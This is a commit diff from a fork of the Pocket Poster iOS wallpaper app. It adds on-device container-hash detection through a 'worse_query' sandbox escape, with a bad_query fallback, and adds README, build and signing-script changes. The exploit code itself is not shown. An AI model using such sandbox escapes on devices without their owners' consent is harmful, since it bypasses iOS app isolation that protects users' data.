||||
// Created by lemin on 5/31/25.
|
||||
//
|
||||
|
||||
import SwiftUICore
|
||||
import SwiftUI
|
||||
|
||||
struct OnBoardingPage: Identifiable {
|
||||
var id = UUID()
|
||||
|
||||
@@ -15,11 +15,12 @@ struct SettingsView: View {
|
||||
|
||||
@State var checkingForHash: Bool = false
|
||||
@State var hashCheckTask: Task<Void, any Error>? = nil
|
||||
@State var detectingOnDevice: Bool = false
|
||||
|
||||
var body: some View {
|
||||
List {
|
||||
Section {
|
||||
VStack {
|
||||
VStack(alignment: .leading, spacing: 10) {
|
||||
TextField("Enter PosterBoard App Hash", text: $pbHash)
|
||||
.textFieldStyle(RoundedBorderTextFieldStyle())
|
||||
.font(.system(.body, design: .monospaced))
|
||||
@@ -28,8 +29,32 @@ struct SettingsView: View {
|
||||
.textFieldStyle(RoundedBorderTextFieldStyle())
|
||||
.font(.system(.body, design: .monospaced))
|
||||
}
|
||||
|
||||
if SymHandler.prefersSandboxEscape {
|
||||
Text(SandboxEscape.isUsingWorseQuery
|
||||
? "worse_query available — on-device detect works (no PC). App Group: \(SandboxEscape.appGroupIdentifier ?? "unknown")"
|
||||
: "bad_query fallback available (iOS 26) — on-device detect works (no PC).")
|
||||
.font(.caption)
|
||||
.foregroundStyle(.secondary)
|
||||
}
|
||||
|
||||
HStack {
|
||||
Spacer()
|
||||
// On-device detect via worse_query (iOS 26/27)
|
||||
if SymHandler.prefersSandboxEscape {
|
||||
Button(action: {
|
||||
detectOnDevice()
|
||||
}) {
|
||||
if detectingOnDevice {
|
||||
ProgressView()
|
||||
} else {
|
||||
Text("Detect On-Device")
|
||||
}
|
||||
}
|
||||
.foregroundStyle(.blue)
|
||||
.disabled(detectingOnDevice)
|
||||
}
|
||||
|
||||
// Run task to check until file exists from Nugget pc over AFC
|
||||
Button(action: {
|
||||
if !FileManager.default.fileExists(atPath: SymHandler.getPosterBoardHashURL().path()) {
|
||||
@@ -40,7 +65,7 @@ struct SettingsView: View {
|
||||
}
|
||||
startWaitForHash()
|
||||
}) {
|
||||
Text("Detect")
|
||||
Text(SymHandler.prefersSandboxEscape ? "Wait for Nugget" : "Detect")
|
||||
}
|
||||
.foregroundStyle(.green)
|
||||
.onChange(of: checkingForHash) { _ in
|
||||
@@ -138,10 +163,12 @@ struct SettingsView: View {
|
||||
|
||||
// MARK: Credits
|
||||
Section {
|
||||
LinkCell(imageName: "Mak5er", url: "https://github.com/Mak5er", title: "Mak5er", contribution: "worse_query port · iOS 27.2 build", circle: true)
|
||||
LinkCell(imageName: "leminlimez", url: "https://github.com/leminlimez", title: "LeminLimez", contribution: NSLocalizedString("Main Developer", comment: "leminlimez's contribution"), circle: true)
|
||||
LinkCell(imageName: "serstars", url: "https://github.com/SerStars", title: "SerStars", contribution: NSLocalizedString("Website Designer", comment: ""), circle: true)
|
||||
LinkCell(imageName: "Nathan", url: "https://github.com/verygenericname", title: "Nathan", contribution: NSLocalizedString("Exploit", comment: ""), circle: true)
|
||||
LinkCell(imageName: "duy", url: "https://github.com/khanhduytran0", title: "DuyKhanhTran", contribution: NSLocalizedString("Exploit", comment: ""), circle: true)
|
||||
LinkCell(imageName: "Nathan", url: "https://github.com/verygenericname", title: "Nathan", contribution: NSLocalizedString("Exploit (.Trash)", comment: ""), circle: true)
|
||||
LinkCell(imageName: "duy", url: "https://github.com/khanhduytran0", title: "DuyKhanhTran", contribution: NSLocalizedString("Exploit (.Trash)", comment: ""), circle: true)
|
||||
LinkCell(imageName: "sky", url: "https://github.com/forcequitOS/worse_query", title: "forcequitOS", contribution: "worse_query (iOS 26/27)", circle: false)
|
||||
LinkCell(imageName: "sky", url: "https://bsky.app/profile/did:plc:xykfeb7ieeo335g3aly6vev4", title: "dootskyre", contribution: NSLocalizedString("Fallback Shortcut Creator", comment: ""), circle: true)
|
||||
LinkCell(imageName: "POEditor", url: "https://poeditor.com/join/project/MPZOsunwVj", title: NSLocalizedString("Community Translators", comment: ""), contribution: "POEditor")
|
||||
} header: {
|
||||
@@ -150,6 +177,59 @@ struct SettingsView: View {
|
||||
}
|
||||
}
|
||||
|
||||
/// Scan containers on-device with worse_query / fsgetpath — no computer needed.
|
||||
func detectOnDevice() {
|
||||
detectingOnDevice = true
|
||||
UIApplication.shared.alert(
|
||||
title: "Scanning containers…",
|
||||
body: "Looking for PosterBoard via worse_query. This may take a moment.",
|
||||
animated: true,
|
||||
withButton: false
|
||||
)
|
||||
|
||||
DispatchQueue.global(qos: .userInitiated).async {
|
||||
var pb: String?
|
||||
var cp: String?
|
||||
var errMsg: String?
|
||||
|
||||
do {
|
||||
pb = try SandboxEscape.findPosterBoardHash()
|
||||
} catch {
|
||||
errMsg = error.localizedDescription
|
||||
}
|
||||
|
||||
if CarPlayManager.supportsCarPlay() {
|
||||
cp = try? SandboxEscape.findCarPlayHash()
|
||||
}
|
||||
|
||||
// Always show a closeable result alert (loading alert has no OK button —
|
||||
// dismiss must complete before the next alert is presented).
|
||||
DispatchQueue.main.async {
|
||||
detectingOnDevice = false
|
||||
|
||||
if let pb {
|
||||
pbHash = pb.trimmingCharacters(in: .whitespacesAndNewlines)
|
||||
if let cp {
|
||||
cpHash = cp.trimmingCharacters(in: .whitespacesAndNewlines)
|
||||
}
|
||||
Haptic.shared.notify(.success)
|
||||
let body = cp != nil
|
||||
? "PosterBoard:\n\(pbHash)\n\nCarPlay:\n\(cpHash)"
|
||||
: "PosterBoard:\n\(pbHash)"
|
||||
// alert() auto-dismisses any previous (buttonless) sheet first
|
||||
UIApplication.shared.alert(title: "Hash found!", body: body, withButton: true)
|
||||
} else {
|
||||
Haptic.shared.notify(.error)
|
||||
UIApplication.shared.alert(
|
||||
title: "Detect failed",
|
||||
body: errMsg ?? "Could not find PosterBoard container. Open Wallpaper settings once, then retry.",
|
||||
withButton: true
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func startWaitForHash() {
|
||||
checkingForHash = true
|
||||
hashCheckTask = Task {
|
||||
|
||||
@@ -11,7 +11,7 @@
|
||||
<string>Owner</string>
|
||||
<key>LSItemContentTypes</key>
|
||||
<array>
|
||||
<string>com.leemin.tendies</string>
|
||||
<string>com.mak5er.tendies</string>
|
||||
</array>
|
||||
</dict>
|
||||
</array>
|
||||
@@ -21,7 +21,7 @@
|
||||
<key>CFBundleTypeRole</key>
|
||||
<string>Editor</string>
|
||||
<key>CFBundleURLName</key>
|
||||
<string>com.leemin.pocketposter</string>
|
||||
<string>com.mak5er.pocketposter</string>
|
||||
<key>CFBundleURLSchemes</key>
|
||||
<array>
|
||||
<string>pocketposter</string>
|
||||
@@ -43,7 +43,7 @@
|
||||
<key>UTTypeIconFiles</key>
|
||||
<array/>
|
||||
<key>UTTypeIdentifier</key>
|
||||
<string>com.leemin.tendies</string>
|
||||
<string>com.mak5er.tendies</string>
|
||||
<key>UTTypeTagSpecification</key>
|
||||
<dict>
|
||||
<key>public.filename-extension</key>
|
||||
@@ -66,7 +66,7 @@
|
||||
<key>UTTypeIconFiles</key>
|
||||
<array/>
|
||||
<key>UTTypeIdentifier</key>
|
||||
<string>com.leemin.tendies</string>
|
||||
<string>com.mak5er.tendies</string>
|
||||
<key>UTTypeTagSpecification</key>
|
||||
<dict>
|
||||
<key>public.filename-extension</key>
|
||||
|
||||
@@ -1,19 +1,67 @@
|
||||
# Pocket Poster
|
||||
Custom PosterBoard animated wallpapers for iOS 17.0+
|
||||
<div align="center">
|
||||
<img width="150" height="150" src="Pocket Poster/Assets.xcassets/AppIcon.appiconset/pocket_poster_transparent.png">
|
||||
</div>
|
||||
|
||||
Community-made wallpapers can be found on the [official Cowabun.ga site](https://cowabun.ga/wallpapers). Join the [Cowabunga Discord Server](https://discord.gg/cowabunga) for additional help.
|
||||
<div align="center">
|
||||
<h1><b>Pocket Poster</b></h1>
|
||||
<p><i>Custom PosterBoard Wallpapers for iOS 17+ · worse_query for iOS 26–27.2</i></p>
|
||||
<p>Original project by <a href="https://github.com/leminlimez"><b>leminlimez</b></a> · bad_query port by <a href="https://github.com/Mak5er"><b>Mak5er</b></a> · worse_query port by <a href="https://git.jbjflab.top/admin"><b>admin</b></a></p>
|
||||
</div>
|
||||
|
||||
## Origin
|
||||
|
||||
This repository is a fork of [**Mak5er/Pocket-Poster**](https://github.com/Mak5er/Pocket-Poster) on GitHub, which in turn is a fork of the original [**leminlimez/Pocket-Poster**](https://github.com/leminlimez/Pocket-Poster). The `worse_query` port, iOS 27.2 support, and the releases published here are maintained by [admin](https://git.jbjflab.top/admin).
|
||||
|
||||
## Download
|
||||
|
||||
Latest IPA: [**Releases**](https://git.jbjflab.top/admin/Pocket-Poster/releases)
|
||||
|
||||
Build an unsigned IPA locally with `./ipabuild.sh`, then sign it with a provisioning profile that includes an **App Group** before installing.
|
||||
|
||||
## Getting Started
|
||||
Since there is no way to read files currently, you will need a computer to get the App Hash/UUID.
|
||||
|
||||
Download [Nugget](https://github.com/leminlimez/Nugget) on your computer and plug in your phone. Then, navigate to the `Settings` page and click the `Pocket Poster Helper` button. Inside Pocket Poster, click the `Detect` button inside of settings.
|
||||
### iOS 26 / 27.2 (worse_query)
|
||||
On versions where [worse_query][worseQueryGitHub] works (iOS 26.0–26.7.2 and 27.0–27.2.x), **no computer is required**. The app must be signed with a provisioning profile that contains an **App Group** — worse_query uses that container to place its symlink and obtain the sandbox extension. Signed IPAs produced with the included `sign_personal.sh` already carry the profile's App Groups.
|
||||
|
||||
1. Install the IPA (sideload with your signer of choice; the profile needs an App Group).
|
||||
2. Settings → **Detect On-Device** (or just hit Apply — hash auto-detects).
|
||||
3. Select tendies / video → **Apply** → device does a **full respring** (Frontboard + Backboard).
|
||||
|
||||
If no App Group entitlement is present the app reports it explicitly; on iOS 26 the legacy bad_query route is used as a fallback.
|
||||
|
||||
**Reset Collections** wipes PosterBoard descriptors via worse_query, then full resprings the same way.
|
||||
|
||||
### Older iOS (legacy .Trash exploit)
|
||||
You will need a computer to get the App Hash/UUID.
|
||||
|
||||
Download [Nugget][NuggetGitHub] on your computer and plug in your phone.
|
||||
<br>Then, navigate to the `Settings` page and click the `Pocket Poster Helper` button.
|
||||
<br>Inside Pocket Poster, click the `Detect` button inside of settings.
|
||||
|
||||
Community-made wallpapers can be found on the [official Cowabun.ga site][CowabungaWallpapersPage].
|
||||
<br>Join the [Cowabunga Discord Server][CowabungaDiscord] for additional help.
|
||||
|
||||
## Credits
|
||||
- Translations crowdsourced using [POEditor][POEditorJoin]. Thank you everyone who assisted in the translation effort!
|
||||
- **[Mak5er][Mak5erGitHub]** — worse_query integration, iOS 27.2 port, full respring, on-device detect
|
||||
- [LeminLimez][LeminGitHub] — original Pocket Poster
|
||||
- Translations crowdsourced using [POEditor][POEditorJoin]
|
||||
- [PosterRestore][PosterRestoreDiscord] for their help with PosterBoard
|
||||
- [dootskyre][dootskyreX] for the fallback shortcut
|
||||
- [Nathan](https://github.com/verygenericname) and [DuyKhanhTran](https://github.com/khanhduytran0) for the exploit
|
||||
- [Nathan][NathanGitHub] and [DuyKhanhTran][DuyKhanhTranGitHub] for the .Trash exploit
|
||||
- [forcequitOS][worseQueryGitHub] for worse_query (iOS 26/27 sandbox escape)
|
||||
- [SerStars][SerStarsX] for creating the website
|
||||
|
||||
[CowabungaWallpapersPage]: https://cowabun.ga/wallpapers
|
||||
[NuggetGitHub]: https://github.com/leminlimez/Nugget
|
||||
[LeminGitHub]: https://github.com/leminlimez
|
||||
[Mak5erGitHub]: https://github.com/Mak5er
|
||||
[CowabungaDiscord]: https://discord.gg/cowabunga
|
||||
[PosterRestoreDiscord]: https://discord.gg/gWtzTVhMvh
|
||||
|
||||
[POEditorJoin]: https://poeditor.com/join/project/MPZOsunwVj
|
||||
[PosterRestoreDiscord]: https://discord.gg/gWtzTVhMvh
|
||||
[dootskyreX]: https://x.com/dootskyre
|
||||
[NathanGitHub]: https://github.com/verygenericname
|
||||
[DuyKhanhTranGitHub]: https://github.com/khanhduytran0
|
||||
[SerStarsX]: https://x.com/SerStars
|
||||
[badQueryGitHub]: https://github.com/forcequitOS/bad_query
|
||||
[worseQueryGitHub]: https://github.com/forcequitOS/worse_query
|
||||
+6
-1
@@ -42,7 +42,12 @@ fi
|
||||
mkdir Payload
|
||||
cp -r "${APPLICATION_NAME}.app" "Payload/${APPLICATION_NAME}.app"
|
||||
strip "Payload/${APPLICATION_NAME}.app/${APPLICATION_NAME}"
|
||||
zip -vr "${APPLICATION_NAME}.ipa" Payload
|
||||
# quiet zip for CI logs; name with underscore for download URLs
|
||||
zip -qr "Pocket_Poster.ipa" Payload
|
||||
# keep legacy name too
|
||||
cp "Pocket_Poster.ipa" "${APPLICATION_NAME}.ipa"
|
||||
rm -rf "${APPLICATION_NAME}.app"
|
||||
rm -rf Payload
|
||||
echo "Built: $WORKING_LOCATION/build/Pocket_Poster.ipa"
|
||||
echo "Built: $WORKING_LOCATION/build/${APPLICATION_NAME}.ipa"
|
||||
|
||||
Executable
+122
@@ -0,0 +1,122 @@
|
||||
#!/bin/bash
|
||||
#
|
||||
# Sign an unsigned Pocket Poster IPA with an Apple Distribution certificate
|
||||
# and an ad-hoc provisioning profile that contains App Groups.
|
||||
#
|
||||
# Usage:
|
||||
# ./sign_personal.sh <unsigned.ipa> <cert.p12> <p12-password> <profile.mobileprovision> [output.ipa]
|
||||
#
|
||||
set -euo pipefail
|
||||
|
||||
if [ $# -lt 4 ]; then
|
||||
echo "usage: $0 <unsigned.ipa> <cert.p12> <p12-password> <profile.mobileprovision> [output.ipa]" >&2
|
||||
exit 64
|
||||
fi
|
||||
|
||||
IPA="$1"
|
||||
P12="$2"
|
||||
P12_PASS="$3"
|
||||
PROFILE="$4"
|
||||
OUT="${5:-$(pwd)/Pocket_Poster-personal.ipa}"
|
||||
|
||||
for f in "$IPA" "$P12" "$PROFILE"; do
|
||||
[ -f "$f" ] || { echo "missing file: $f" >&2; exit 66; }
|
||||
done
|
||||
|
||||
WORK="$(mktemp -d "${TMPDIR:-/tmp}/pocket-sign.XXXXXX")"
|
||||
KC_NAME="pocket-sign-$$-$(date +%s)"
|
||||
KC_PATH="$HOME/Library/Keychains/$KC_NAME-db"
|
||||
KC_PASS="$(uuidgen)"
|
||||
|
||||
ORIG_DEFAULT="$(security default-keychain -d user | sed -e 's/^ *"//' -e 's/"$//')"
|
||||
ORIG_KC_LIST=()
|
||||
while IFS= read -r line; do
|
||||
line="$(echo "$line" | sed -e 's/^ *"//' -e 's/"$//')"
|
||||
[ -n "$line" ] && ORIG_KC_LIST+=("$line")
|
||||
done < <(security list-keychains -d user)
|
||||
|
||||
cleanup() {
|
||||
set +e
|
||||
if [ -n "${ORIG_DEFAULT:-}" ]; then
|
||||
security default-keychain -d user -s "$ORIG_DEFAULT" >/dev/null 2>&1
|
||||
fi
|
||||
if [ ${#ORIG_KC_LIST[@]} -gt 0 ]; then
|
||||
security list-keychains -d user -s "${ORIG_KC_LIST[@]}" >/dev/null 2>&1
|
||||
fi
|
||||
security delete-keychain "$KC_NAME" >/dev/null 2>&1
|
||||
rm -rf "$WORK"
|
||||
}
|
||||
trap cleanup EXIT
|
||||
|
||||
echo "[*] Creating temporary keychain"
|
||||
security create-keychain -p "$KC_PASS" "$KC_NAME"
|
||||
security set-keychain-settings -lut 21600 "$KC_NAME"
|
||||
security unlock-keychain -p "$KC_PASS" "$KC_NAME"
|
||||
|
||||
echo "[*] Importing signing identity"
|
||||
# Security.framework's PKCS#12 importer rejects this (legacy-encoded) p12,
|
||||
# so convert it to an unencrypted PEM bundle and import that instead.
|
||||
openssl pkcs12 -in "$P12" -passin "pass:$P12_PASS" -nodes -out "$WORK/identity.pem" >/dev/null 2>&1
|
||||
security import "$WORK/identity.pem" -k "$KC_NAME" -T /usr/bin/codesign >/dev/null
|
||||
|
||||
# Bring the WWDR intermediate into the temporary keychain so codesign can
|
||||
# embed the full chain.
|
||||
{
|
||||
security find-certificate -a -c "Apple Worldwide Developer Relations" -p "$HOME/Library/Keychains/login.keychain-db" 2>/dev/null
|
||||
security find-certificate -a -c "Apple Worldwide Developer Relations" -p /Library/Keychains/System.keychain 2>/dev/null
|
||||
} > "$WORK/wwdr.pem"
|
||||
if [ -s "$WORK/wwdr.pem" ]; then
|
||||
security import "$WORK/wwdr.pem" -k "$KC_NAME" >/dev/null 2>&1 || true
|
||||
fi
|
||||
|
||||
security set-key-partition-list -S apple-tool:,apple:,codesign: -s -k "$KC_PASS" "$KC_NAME" >/dev/null
|
||||
security default-keychain -d user -s "$KC_PATH"
|
||||
security list-keychains -d user -s "$KC_PATH" "${ORIG_KC_LIST[@]}"
|
||||
security unlock-keychain -p "$KC_PASS" "$KC_NAME"
|
||||
|
||||
IDENTITY="$(security find-identity -v -p codesigning | awk '/Apple Distribution|Apple Development/ {print $2; exit}')"
|
||||
if [ -z "${IDENTITY:-}" ]; then
|
||||
echo "no code signing identity found in $P12" >&2
|
||||
security find-identity -v -p codesigning >&2
|
||||
exit 65
|
||||
fi
|
||||
echo "[*] Identity: $IDENTITY"
|
||||
|
||||
echo "[*] Extracting provisioning profile"
|
||||
security cms -D -i "$PROFILE" > "$WORK/profile.plist"
|
||||
plutil -extract Entitlements xml1 -o "$WORK/entitlements.plist" "$WORK/profile.plist"
|
||||
|
||||
APP_ID="$(/usr/libexec/PlistBuddy -c 'Print :application-identifier' "$WORK/entitlements.plist")"
|
||||
BUNDLE_ID="${APP_ID#*.}"
|
||||
if [ -n "${BUNDLE_ID_OVERRIDE:-}" ]; then
|
||||
BUNDLE_ID="$BUNDLE_ID_OVERRIDE"
|
||||
fi
|
||||
echo "[*] Bundle ID: $BUNDLE_ID"
|
||||
|
||||
echo "[*] Unpacking IPA"
|
||||
ditto -x -k "$IPA" "$WORK/unpacked"
|
||||
APP="$(find "$WORK/unpacked/Payload" -maxdepth 1 -name '*.app' -type d | head -1)"
|
||||
[ -n "${APP:-}" ] && [ -d "$APP" ] || { echo "no .app inside IPA" >&2; exit 66; }
|
||||
echo "[*] App: $(basename "$APP")"
|
||||
|
||||
/usr/libexec/PlistBuddy -c "Set :CFBundleIdentifier $BUNDLE_ID" "$APP/Info.plist"
|
||||
cp "$PROFILE" "$APP/embedded.mobileprovision"
|
||||
|
||||
echo "[*] Signing"
|
||||
codesign --force --sign "$IDENTITY" \
|
||||
--entitlements "$WORK/entitlements.plist" \
|
||||
--timestamp=none \
|
||||
"$APP"
|
||||
|
||||
echo "[*] Verifying"
|
||||
codesign --verify --deep --strict --verbose=2 "$APP"
|
||||
codesign -d --entitlements :- "$APP" 2>/dev/null | plutil -p - | grep -A6 "com.apple.security.application-groups" || true
|
||||
|
||||
echo "[*] Packaging"
|
||||
rm -f "$OUT"
|
||||
mkdir -p "$WORK/out/Payload"
|
||||
ditto "$APP" "$WORK/out/Payload/$(basename "$APP")"
|
||||
( cd "$WORK/out" && zip -qry "$OUT" Payload )
|
||||
|
||||
echo "[*] Wrote $OUT"
|
||||
ls -lh "$OUT"
|
||||
Reference in new issue
Block a user